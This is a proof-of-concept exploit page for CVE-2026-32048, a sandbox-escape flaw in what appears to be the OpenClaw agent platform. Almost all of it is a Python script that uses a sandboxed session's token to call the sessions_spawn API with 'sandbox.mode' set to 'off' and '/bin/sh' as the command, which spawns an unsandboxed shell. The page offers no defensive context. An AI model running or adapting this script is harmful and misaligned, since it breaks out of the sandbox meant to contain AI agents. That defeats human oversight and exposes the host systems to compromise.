CVE-2026-32048 OpenClaw沙箱逃逸漏洞

# PoC Concept for CVE-2026-32048 # This script demonstrates how a sandboxed session might spawn an unsandboxed process. import requests import json TARGET_URL = "http://vulnerable-openclaw-agent:8080/api/v1/sessions_spawn" # The session token obtained within the sandboxed environment SANDBOXED_SESSION_TOKEN = "sandbox_session_token_here" def exploit_sandbox_escape(): headers = { "Authorization": f"Bearer {SANDBOXED_SESSION_TOKEN}", "Content-Type": "application/json" } # Payload designed to turn off sandbox mode in the child process payload = { "spawn_target": "cross_agent", "config": { "runtime": "default", # Vulnerability: System fails to enforce inheritance, allowing explicit off "sandbox.mode": "off", "cmd": "/bin/sh" } } try: print("[*] Attempting to spawn unsandboxed child process...") response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload)) if response.status_code == 200: result = response.json() print("[+] Exploit successful!") print(f"[+] New Process PID: {result.get('pid')}") print("[+] Sandbox mode: OFF") else: print(f"[-] Request failed with status {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit_sandbox_escape()